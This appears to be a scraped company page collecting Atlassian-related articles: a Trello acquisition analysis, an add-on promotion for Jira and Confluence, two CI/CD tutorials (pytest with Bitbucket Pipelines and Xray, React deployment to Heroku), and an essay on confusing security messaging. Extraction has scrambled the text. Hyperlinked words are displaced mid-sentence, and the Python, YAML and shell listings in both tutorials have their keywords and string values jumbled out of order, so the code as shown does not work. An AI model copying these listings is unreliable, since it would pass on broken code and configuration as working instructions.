Disclaimer: I used to be a Senior Product Manager in the JIRA team at Atlassian, where I launched a new project and task management tool for business teams — JIRA Core. These thoughts and opinions are my own. At USD 425 million, is ’s — that number represents 7.7% of their total market capitalisation, and looking at the of their cash assets (USD 266 million on 30 September 2016), it’s probably fair to say that the USD 360 million cash component almost broke the bank. The earnings call on 19 January 2017 should be pretty interesting, but shareholders seem to be positive about it. Trello Atlassian biggest acquisition yet last reports The question is, why would Atlassian spend that much money on a product that is in some ways very similar to the ones they already have? After all, Trello helps teams manage tasks in a visual way, but JIRA already has 2 types of boards that not only do the same, but are vastly more sophisticated in terms of functionality and the underlying technology. Cloud First When Atlassian first released JIRA in 2002, businesses still preferred running their own servers to keep software and data secure. While Atlassian does have a cloud offering, customers do express some room for improvement. Trello, first released in 2011 when the IT landscape and zeitgeist was already changing, was built for the cloud first and for the cloud only. This allows Trello to experiment and iterate much faster, avoid a lot of the complexities that come with maintaining Cloud and Server products at the same time and it also allowed them to build a simpler way to connect with other apps. The Atlassian Marketplace lists about but over 100 more for JIRA Server. The limited set of APIs for JIRA Cloud compared to JIRA Server could be one part of the problem. For Trello, there is no way to see publicly how many integrations have been built, but given the lower barriers it is unsurprising that “trello integration” brings up almost twice as many search results on Google as “jira integration”. 330 add-ons being available for JIRA Cloud Trello is embracing the Cloud and their team’s experiences will no doubt lift the game for Atlassians other products. Will we see Atlassian building a server version of Trello, ? Only time will tell, but there is an important reason that makes me doubt it. like they did with HipChat Simplicity > Feature list Atlassian has traditionally followed a bottom-up adoption model. It is a fundamental part of their business that teams can simply adopt software, tinker with it to adapt it to their needs and run with it — no enterprise sales cycle required. When Atlassian started, their customers loved this new model, especially technical teams which just wanted to get on with changing the world instead of sitting in sales meetings. Atlassian went for the longest time without any sales people — it is not despite that but because of it, that their main products like JIRA are so well known and loved by teams all over the world. However, from having built several different products myself, I know that one thing has changed over time — people’s willingness to tinker with new products. These days, if something doesn’t “just work”, people lose interest very quickly. Our lives are faster and we have simply very little time to waste on figuring out how something works. Meanwhile, JIRA’s functionality has expanded drastically. JIRA’s biggest strength, in my opinion, is how flexible and adaptable it is. But at the same time, that is its biggest weakness. At Atlassian’s annual customer conference, Summit, we showcased some of the most common use cases. Although JIRA was originally built for software teams, there are many marketing, legal, HR, sales and other teams embracing it. Now, in Atlassian’s , they mention how Trello’s “card system is intuitive, easy to use, and instantly familiar, which has made it extremely popular with teams across marketing, legal, HR, sales and beyond.”. acquisition announcement It looks like the patterns are the same — these teams need flexible task management tools, but the new breed of teams want to use something that “just works”. Want a hint that Atlassian thinks this is the future? In their own announcement, they encourage their customers to create a Trello account. But in there is no call-to-action for creating a JIRA account (even though revenue wise, this might be an up-sell as JIRA has no free version). Trello’s announcement MAU — Monthly Active Users As the acquisition announcement points out, Atlassian and Trello have identical milestones towards achieving our missions: for our tools to be used by 100M people. What a superior experience and low barriers to adoption in a market that is has a fundamental need for task management solutions create is magical growth and momentum. And with that comes marketing power — so it’s no wonder many companies have MAU as their top metric. With Trello’s user base, not just in terms of raw numbers but also in terms of their demographics, Atlassian can secure its position with small, forward-thinking teams. They will also be able to expose their products to individual users who use Trello for personal projects. These individuals will now get exposure to Atlassian’s other products and will be able to take these into the companies they work for or with. The more products of a brand a customer uses the better — that’s how Apple, Google, Microsoft and Facebook became some of the most valuable companies in the world. It’s no surprise to see Atlassian, a multi-product company from the very early days, heading down that route. Verdict Whatever the future holds for Atlassian, JIRA and Trello, this is exciting new with lots of opportunities and upsides for everyone involved. Now several other companies will have to up their game to keep up. Asana was very late to introduce boards like Trello and JIRA Core already had, they might be in an even more difficult position when Atlassian combines Trello for example with HipChat to create a fully integrated task management and communication experience — something they . already announced For Atlassian, I believe this was exactly the right move. One of the questions that remain is: With that much overlap between their tools, how will a user who has not heard of neither Trello nor JIRA or Service Desk figure out what’s best for them? How will JIRA users decide between JIRA Agile boards and Trello once the products are integrated? There might be a little more tinkering we will have to do after all, but whichever one you end up using, these tools are going to become a whole lot better — which is going to be great for every team! PS: I regularly share my lessons learned from building, managing and growing products at www.productrise.com . Also, if you are stuck with your product, team or personal Product Management journey, reach out to me any time. I’m always happy to just have a chat.

What the Trello Acquisition Means For Atlassian

The needs and wants of modern-day Project Managers (PMs) have evolved within the last few years. In light of the ongoing pandemic, the increasing popularity of Agile methodology, and the heightened importance of data analytics, a good PM is now a versatile PM. One way PMs can achieve this is by using effective project management software. Jira and Confluence, along with Excel, stand as the most popular, and for good reasons. Although Jira and Confluence offer plentiful tools for project management and Excel provides in-depth analytical functionalities, the advent of recent trends means that to succeed, the two cannot exist separately. In this article, you’ll find the pros and cons of Jira, Confluence, and Excel and learn how exactly you can harness the power of the three at once with the help of plugins. Jira and Confluence’s Highs and Lows Jira and Confluence are often seen as a match made in heaven. When properly used together, they combine the best Atlassian has to offer in terms of project management. Highs Let’s start with a couple of reasons why many love the duo: Communication Because Jira is designed to facilitate collaboration, PMs can seamlessly communicate with their teams via inline comments and issues while meticulously tracking progress, keeping everyone in the loop, from managers to stakeholders. Single Source of Truth Every project’s team will be composed of individuals with wholly different skill sets, backgrounds, and opinions. While you can’t standardize this, you can at least ensure everyone learns and works with the same knowledge, something especially important in the era of remote work. Using Confluence and Jira to set up a knowledge base and link relevant issues/tasks will help any team find common ground easily. Lows But the pair isn’t without fault. Here are some common quibbles: Learning Curve Jira and Confluence aren't the easiest tools to set up and start using. With countless functions and jargon - dashboards, screens, issues, spaces - it's easy for the inexperienced to feel overwhelmed. Further, also considering things like query language and the introduction of , you’d need a dedicated specialist to properly utilize everything. Confluence Cloud Simple Tables Tables are a low weak point for both Jira and Confluence. If you’re dealing with complex work (large team sizes, multiple variables), you’ll find yourself quickly hitting a wall. To make things worse, you won’t even be able to create all those graphs and charts we associate with Excel! Excel’s Highs and Lows Excel is another popular tool used by PMs, and with it being among the leading software for data visualization and interpretation, there’s little wonder. Highs Here are some reasons why Excel dominates: Ease-of-Use Excel is as elegant as it gets in terms of its clear user interface and easy-to-learn toolkit. It offers a host of features that’ll accommodate any project, from simple personal budgeting to audit reports for international businesses. Honestly, if you still find yourself intimidated by what’s available, you can rest easy knowing that there’s a wealth of available online. learning resources Functionalities Despite its simplicity, Excel still has a high skill ceiling. Excel offers powerful analytical tools that can handle complex calculations and draw connections between large data sets, making even Jira’s dashboard look overly basic. Everyone from to uses Excel, after all! data scientists high schoolers Lows But all isn’t perfect. Some common criticisms include: Teamwork PMs everywhere will attest to what many think is Excel’s biggest flaw: . No matter how pretty or complex your spreadsheet is, the fact remains that Excel doesn’t allow multiple users to work on a single document simultaneously. And even if you could, how can you track who’s responsible for what? Who’s not pulling their weight? What if you have multiple projects? teamwork Not Project Management Oriented Unlike Jira and Confluence, Excel was made to be a versatile product as opposed to a specialized tool for project management. Accordingly, you’ll find Excel lacking in this department. There’s no progress tracking, dependency creating, or task commenting features to be found here. Best Addons to Unite Jira and Excel By now, you should have gotten the hint that Excel, Jira, and Confluence can all fill in for what the other lacks. Thankfully, uniting them is easier than you’d assume. Here are three nifty tools that’ll help you do this: Excel-like Issue Editor for Jira ** ** The makes dealing with Jira issues a painless experience with the help of Excel. Whether you’re dealing with 10 or 10,000 issues, you’ll be able to bulk edit and instantly update all of them without suffering from lag or error. Excel-like Issue Editor for Jira This is possible due to its Excel-like features that include its freeze column and sort and filter functions. Beyond this, PMs can also assign issues, alter issue priorities and due dates, as well as visualize the hierarchical relation of their project’s issues. in particular, will become a stress-free chore thanks to the app’s bulk edit functionality. This will undoubtedly shave off entire swathes of time that could otherwise be spent more efficiently by PMs. , Backlog Grooming Excel-like Tables for Jira __ __allows PMs to harness the power of Excel tables for all their Jira issues. This includes features like pivot tables, graphs, and charts.** ** Excel-like Tables for Jira Above all else, you’ll now be able to conduct detailed analyses of your datasets as opposed to just fitting them into a Jira table. With the help of over 400 unique Excel formulas that include the basic (e.g., SUM, AVERAGE) to the advanced (e.g. Bitwise), the sky’s the limit here.** ** So for PMs who need to conduct a little analysis, a product like this is ideal. You could, for instance, keep close tabs on expenses in Jira, and along with Excel’s features, visualize your findings with graphs and create budgetary forecasts with formulas. Excel-like Tables for Confluence Ever wished your Confluence tables had a little more ? Meet . This free app will transform your Confluence spaces into something far more than just another knowledge base. oomph Excel-like Tables for Confluence With an arsenal of tools to use that include filters, shapes, formulas, tables, and even CQL searchability, data analysis and visualization will all be possible here. Best of all, you aren’t limited anymore to Confluence’s limited range of ; you now have access to Excel’s library of templates! project management templates Thanks to the addon, you’ll even be able to take advantage of another project management tool: . They’re great for tracking projects and adding a further layer of transparency and accountability to projects. All you have to do is to get started. Gantt charts download a template Next Steps Now that you’ve seen how and why it’s imperative to unite Excel, Confluence, and Jira to bring out the most in project management, what’s stopping you? Learn more about how you can harness Excel capabilities from right within Jira and Confluence . here

How to Unite Excel’s Power with Jira and Confluence’s Functionalities

In this post I want to show you how you can use your together with . Furthermore I want to also introduce you into a really awesome, cutting edge Test Management Suite for Jira which I use a lot. Bitbucket pipelines Jira Cloud Xray Test Management for Jira Cloud You might have read my last post about — if not you’ll have the chance later on, because I do refer to some configuration. Deploy a React App to Heroku with Bitbucket pipelines Initial Situation In most enterprises we don’t want to change workflows in production environment directly. Instead we have a test instance or project where we build stuff first and then present it to the business. In this article we’ll assume we have the following simple workflow and a rule for transition issues from to . This rule checks if the user is in the Project Role of (we’ll assume the user is 😉🙄). “Backlog” “In Progress” Administrator Now that we have implemented the Jira workflow the way the business needs it, we need to test the workflow. Sure, you could say, let’s do it manually because it’s a quick test. But in most cases we do have more complex scenarios, don’t we? I want to show you, how you can test your Workflow automatically with a small (Python) running on . Pytest app Bitbucket Pipelines In addition to that I want to introduce the app — a cutting edge Test Management Suite for Jira. There we will write a Test Plan and trigger the Bitbucket Pipeline. Xray Test Management for Jira Cloud Disclaimer For simplicity’s sake, we will omit appropriate authentication or code formatting. What we will do here will work, but it should not be used in any production environment. Prerequisites To get started we need to prepare some stuff first to make sure that everything is working fine. What we need for this tutorial is: Python3 installed on your local machine – see documentation Python IDE installed – in my case this is from Jetbrains PyCharm generated – Jira API token see documentation generated – Xray API token see documentation generated – Bitbucket App Password see documentation Let's Get Started! Step 1 — Create a Python app: Yes, this time round we’ll build a small Python app which does nothing more than transition an Jira issue from one status to another. Therefore, you need to: Open up PyCharm Create a new Python Project Make sure you use as your Python environment Pipenv After we’ve created our Python app we need to install at least two python packages. Head over to: → → Settings Project:<your-app-name> Project Interpreter Install and via the little + sign on the right side jira-3.0a2 pytest In the project root create a folder with the name and within the folder create a file called The file will look pretty simple and we do manage all stuff e.g. authentication, within this file. tests test_transition.py. jira JIRA, JIRAError

jira = JIRA(
    options={ : },
    basic_auth=( , ),
) from import "server" "https://<domain>.atlassian.net" "<E-MAILADDRESS>" "<API-TOKEN>" At first we need to load the Jira library for authentication and using all the Jira methods we need to update and transition issues. After we’ve imported all we need, we can authenticate to our Jira Cloud instance. It is important that you use the API token mentioned above in the prerequisites. Jira Cloud doesn’t allow you to use basic authentication with username and password anymore. Next we add the test itself directly below the authentication. The steps are: Get the issue(s) Execute the transition — at least try If correct assert the new issue status ( ) In Progress If not correct assert the current issue status ( ) Backlog issue = jira.issue( ) :
        jira.transition_issue(issue, ) JIRAError: issue.fields.status.name == issue.fields.status.name == : def test_in_progress () "<ISSUE-KEY>" try "In Progress" except assert "Backlog" return assert "In Progress" At this point we already can test our Python app. To do that we need to create a Run Configuration: Go to → Run Edit configurations Click on symbol → choose (absolute path to your test file) + pytest Add the and (absolute path of tests folder) Script Path Working Directory After that we can right-click our folder and choose Our result should look something like this: tests pytest in tests. Step 2 — Upload the app to Bitbucket: For this please read my where I explain in detail how you can setup your code repository and how to enable pipelines for it. previous post After you’ve setup your Bitbucket repository, open a terminal, make sure you are in the root directory of your Python app, and type the following lines: git init
git add .
git commit -m git remote add origin https://username@bitbucket.org/username/name-of-your-repository.git
git push -u origin master "initial commit" When you refresh the browser page, you should see all the files and folders of the app you’ve just commited to the git repository. Now that we have everything up and running, add the following : bitbucket-pipeline.yml image: python:3.8.3
pipelines:
  default:
    - step:
        caches:
          - pip
        name: Run tests
        script:
          -  |
             pip install pipenv
             pip --version
             pipenv install pipenv run python3 -m pytest --junitxml= -result.xml test_transition.py token=$(curl -H -X POST --data https://xray.cloud.xpand-it.com/api/v1/authenticate| tr -d )
             curl -H -H --data @ -result.xml echo "Test my amazing script" test export "Content-Type: application/json" "{ \"client_id\": \" \",\"client_secret\": \" \" }" $client_id $client_secret '"' "Content-Type: text/xml" "Authorization: Bearer " $token test "https://xray.cloud.xpand-it.com/api/v1/import/execution/junit?projectKey=TP&testPlanKey=<ISSUE-KEY>" echo "done" Puuhh! 😵 Let's go through this step by step: We install because it takes care of everything you need to work with your app and it is just awesome! pipenv We install all libraries added to our Project and therefore to the Pipfile with pipenv install We run our test(s) with the special parameter — = (important use double dashes infront of junitxml!) junitxml <filename>.xml We get our token with the credentials mentioned above Xray Cloud App We push the to the Xray Cloud App test-result.xml Finally we specify the and our which we will create in a second. Project Key Xray Test Plan Step 3 — Install and configure Xray: Installing Xray is really easy and straight forward. Go to in your Settings menu on the top right Apps Go to and search for Xray Find new Apps Click on the Card and install the App via Try Free In app marketplace side in Jira Cloud Step 4 — Create a Test Plan and a Task: First we create a new Project. You can choose any type of Project Type, all will work with Xray. In our case we create a with the name and the key Classic — Kanban Project Test project TP. If you’ve never used Xray before and need help setting up your project, they got awesome documentation here: Quick Setup - Xray Cloud Documentation - Xray (getxray.app) After configuring our Project we need to create two issues. - This one will receive all Test Execution and Test issues which will automatically be created when triggering the pipeline (see our pipeline.yml) Test Plan - This one is our Task with the Workflow we want to Test. Task Step 5 — Trigger Bitbucket Pipelines via Jira Automation: So let’s do the following: Go to Project Settings Choose Automation Create a New rule For the trigger we will use Issue transitioned: Next, we add a . Under the section we pick New Action Notification Send web request. : Webhook URL https://api.bitbucket.org/2.0/repositories/{workspace}/{repo_slug}/pipelines/ In the text area just add the following JSON: { : { : , : , : }
} "target" "ref_type" "branch" "type" "pipeline_ref_target" "ref_name" "master" For more details take a look at the REST API Endpoint in the official documentation . Now that we have everything setup, let’s grab some popcorn and let’s enjoy what we’ve just build. Our Jira Board should look something like this Let’s move the issue in our from to . This should trigger our pipeline! Go to your Bitpucket pipeline — you should see that the build just has started. TP-1 Test Plan Backlog In Progress After the pipeline tasks are successfully done let’s head back to Jira. Our Task was transitioned to thanks to our Python app. Now we know that the business team will be happy and we can prove to them even before the presentation that everythings works as requested. In Progress Xray automatically created a Test Execution and a Test for us. Even more we’ve pushed the results to the Test Plan. — Result after running the Bitbucket pipeline Test Plan — Created after running the Bitbucket pipeline Test Execution About Jodocus The team brings its expertise in business processes, ALM, DevOps and Cloud to you! We make our clients’ lives easier by fitting the tools to your needs. Jodocus is a Cloud First Solution Partner with a focus on Business Processes. We help teams of all kind to digitize their Workflows and use the power of collaboration to elevate their daily work. Our expertise is to smoothly integrate Atlassian tools into your companies‘ toolset and get your teams ready for teamwork! Jodocus About Xray is the leading Quality Assurance and Test Management app for Jira. Improve the quality of your systems through effective and efficient testing that runs through the entire software development lifecycle. supports both manual and automated tests and provides powerful reports to ensure full requirements coverage. More than 4.5 million testers, developers and QA managers trust Xray to manage 100+ million test cases each month. is a mission-critical tool at over 5,000 companies in 70+ countries, including 137 of the Global 500. Xray Xray Xray Hope you liked it, even more I hope it helps you! Please let me know! Also published at https://medium.com/jodocus-blog/test-automation-of-jira-cloud-workflows-using-bitbucket-pipelines-and-xray-test-management-3ff316b03e25

How to Use BitBucket Pipelines and Xray Test Management to Test Automation of Jira Cloud Workflows

Hello world! In preparation of a talk for an in Hamburg I struggled and stumbled upon some documentations and tutorials for using Bitbucket and Heroku together. So I’ve decided to write my own first developer article about Atlassian Community Event Building a basic CI/CD pipeline for deploying a to using React App Heroku Bitbucket Getting Started Step 1 — Create React app In this tutorial we will focus on deploying a React app to Heroku, so we will just use the React starter app. To run the App in Heroku we’ll add a basic express server setup later on. Prerequisite for creating and running a React app make sure you have: 1. and installed Node.js npm 2. installed (optional) Visual Studio Code Now with that basic setup we are ready to create our React app: npx create-react-app name- -your-app of Depending on your development environment grap yourself a coffee, the next 2–5 minutes are not that interessting, except you like watching how all the project dependencies are downloaded and bundled together. After you are back, type the following lines into your terminal to start the app cd name- -your-app
npm start of You can now view the app in a browser by open the URL http://localhost:3000 Step 2 — Create Bitbucket Repository Now that we have our app up and running on our local machine we should create our git repository. Therefore we head over to . If you don’t have an account yet, get one its for free (important nowadays)! https://bitbucket.org When creating a new repository you need to at least give it a name and you want to set the access level to private. Most of the settings here can be changed afterwards. Well done! You’ve created your — maybe first — git repository. Time to explore the menu which you’ll now see on the lefthand side. If you want to know more about Bitbucket head over to the . official documentation Step 3 — Create Heroku App We are pretty close to deploying our app now. Head over to - again create an account if you don’t have one (IT’S FREE!). https://heroku.com On your dashboard click and choose . In the dialog: New Create new app 1. Set a - this one is unique world-wide, so it might happen that some else already picked or - be creative! App Name test123 demoapp 2. Choose the where your app should run Region Your app is now created, but before you head back to your code and git repository we need to tell our app which we’d like to use. Buildpack Go to in your AppUnder click and choose Settings Buildpacks Add buildback heroku/nodejs For deploying the app later on we also need an API Key. 1. In your Profile go to Account Settings 2. In the Section click API Key Reveal 3. Safe the key for later configuration Deploy with Bitbucket pipelines Now comes the fun part… for you actually, I learned the hard way so you don’t have to. Step 1 — Setup an express Server Go to Visual Studio Code and add a new folder called to the root of the repository. Within that folder create a file called and install express by running this command in your terminal: server server.js npm install express --save Within the file copy & paste these lines of code: server.js path = ( ); express = ( ); app = express(); publicPath = path.join(__dirname, , ); port = process.env.PORT || ;app.use(express.static(publicPath));app.get( , (req, res) => {
    res.sendFile(path.join(publicPath, ));
});app.listen(port, () => { .log( + port);
}); const require 'path' const require 'express' const const '..' 'build' const 3000 '*' 'index.html' console 'Hello World I run on PORT ' In your file change the script line for start your app to: package.json : , "start" "node server/server.js" Step 2 — Upload everything to your git repository Open a terminal windows make sure you are in the root directory of your React app and type the following lines: git init
git add .
git commit -m git remote add origin https: git push -u origin master "initial commit" //username@bitbucket.org/username/name-of-your-repository.git When you refresh the browser page you should see all the files and folders of your app we’ve just commited the the git repository. Step 3 — Setup and configure Bitbucket pipelines Now that our code is in our repository we need to enable Pipelines for our repository. Go to Repository SettingsUnder the Section click Right above Settings, go to Add a variable with name HEROKU_API_KEY and your key from aboveAdd a variable with name HEROKU_APP_NAME and the app name as value Pipelines SettingsEnable Pipelines Repository variables Now we can finally create our Pipeline configuration. In our case we want (not true, the author wants it!) to build a pipeline with following rules and steps: 1. We don’t have branches yet, so everytime someone commits something to the master branch we want to run our pipeline 2. We want to test our app first 3. We need to create a Zip file for the heroku pipline add-on 4. We want to finally push our repository to Heroku Author’s note: YES, I could push the repository to Heroku using git, but NO that was not my intention for writing this article! The file holds all the build configurations for your repository. There is really a lot you can do with this file, so if you want to dig deeper take a look at the . Here the basics of the file: bitbucket-pipelines.yml official documentation YAML : contains all your pipeline definitions. pipelines : contains the steps that run on every push if one of the following criteria is not met. default : each step starts a new Docker container with a clone of your repository, then runs the contents of your section. step script : a list of commands that are executed in sequence. script :  a pipe is more like an add-on or function, it takes some input and does stuff for you — like uploading your repository to Heroku pipe Our final file looks like this: bitbucket-pipelines.yml image: node: pipelines:
  branches:
    master:
      - step:
          name: Test App
          caches:
            - node
          script:
            - rm -rf package-lock.json
            - rm -rf node_modules
            - npm install
            - npm run test
       - step:
           name: Create artifact
           script: 
             - git archive --format=tar.gz master -o                   application.tar.gz 
         artifacts: 
           - application.tar.gz
       - step:
           name: Deploy to heroku
           deployment: production
           caches:
             - node
           script:
             - pipe: atlassian/heroku-deploy: variables:
                 HEROKU_API_KEY: $HEROKU_API_KEY
                 HEROKU_APP_NAME: $HEROKU_APP_NAME
                 ZIP_FILE: WAIT: 10.15 .3 1.1 .4 "application.tar.gz" 'true' The END Hope you liked it, even more I hope it helps you! Please let me know via comment or clap :) About Jodocus is a full-service provider for Atlassian Systems based in Hamburg, Düsseldorf and Cologne Germany. Our team combines more than 25 years of experience in building and running the solution you need. We are Atlassian experts and know how to analyze and understand your problems. Innovative and future-proof solutions are our passion and we always meet our customers at eye-level. Jodocus About the Author Jan Szczepanski specializes in project and process management and has been an Atlassian specialist since the beginning of his professional career. He was in charge of technical as well as non-technical teams in different companies and was responsible for the optimization of business processes. Today he uses his specialist knowledge, which he has acquired over many years, in to improve communication and collaboration structures.

Deploy a React App to Heroku with Bitbucket pipelines

Top 33 Jira Alternatives For Agile Project Management Teams

With two recent vulnerabilities making headlines this month, notably , impacting VPNs running on Linux distros and reported by concerning leak of private keys, it should be no surprise anymore as to why encryption merely breeds a feeling of security rather than guaranteeing it. CVE-2019-14899 Atlassian’s zero-day flaw SwiftOnSecurity From Hollywood flicks dropping buzzwords like encryption, VPN, private keys, along with the vendors who must now convince the public to hype up   product sales, the ultimate message that gets communicated inadvertently (or deliberately) comprises half-baked distorted . For example, or something along those lines conveys the general mindset of an unsavvy user. Likewise, one popular myth is When in reality the page could very well be a phishing setup made to secure by the hacker using a free SSL (LetsEncrypt) certificate. assumptions “if I’m on a public hotspot, flicking one-switch of my VPN equates total security,” “if a webpage has a padlock icon, that implies it’s secure.” look and feel Then follows the other side of the issue: legitimate website names sounding like ‘phishing’ domains which are actually being used today by mainstream banks and companies. Just another day when rescheduling my flight, the Virgin Atlantic representative transferred me to a “secure form” to collect credit card information, hosted on the mysterious domain. If you’re a tad vigilant, this would raise multiple red flags, unless of course you are familiar with (therefore the letters, ) chat software and every single domain they own. Similarly, “phishy” sounding domains like and are valid and actively being used as of today by legitimate banks and payment providers where users are asked to make credit card and loan payments. lpsnmedia.net LivePerson lpsn myonlineaccount.net clc-consumerservices.com The point My point is that the security industry has done a poor job of communicating what is secure and what isn’t to a layperson, whereas the mainstream game-players in charge of assuring customer security i.e. banks and online businesses, continue to confuse the public with their choice of weird sounding domain names and when it comes to practicing security. inconsistencies Military-grade encryption as implemented and marketed by VPN vendors, SSL certificate issuers and ‘secure’ apps, is no exception. Assuming the technology is indeed unbreakable and secure given today’s resources, it is truly the ‘weakest link’ surrounding encryption that matters. For messaging apps like WhatsApp claiming ‘end to end security,’ the weakness lies in the phrase itself: your communications are only as secure as the . Should one of the parties inadvertently download malware and compromise the security on their device – their end, this guarantee ceases. And, really, how hard is tempting a naive user to trust a phishing website that looks like the real deal, with so many legitimate websites looking ‘phishy’? ends That is the conversation security professionals and stakeholders need to be having. Without it, we can only create a market that works for security vendors and their sales, with the general public remaining deficient and in perpetual limbo. © 2019. / . All Rights Reserved. Akshay ‘Ax’ Sharma @AkshaySharmaUS

ATLASSIAN

atlassian.com

1K-5K employees

Since 2002

COMPANY RANKING

ATLASSIAN

EVERGREEN INDEX #3187

Representing this company? Click here to claim and customize this page!

ATLASSIAN WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!

ATLASSIAN

atlassian.com

1K-5K employees

Since 2002

COMPANY RANKING

ATLASSIAN

EVERGREEN INDEX #3187

RELATED COMPANIESRANK

STORIES ABOUT ATLASSIAN

Representing this company? Click here to claim and customize this page!

ATLASSIAN WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!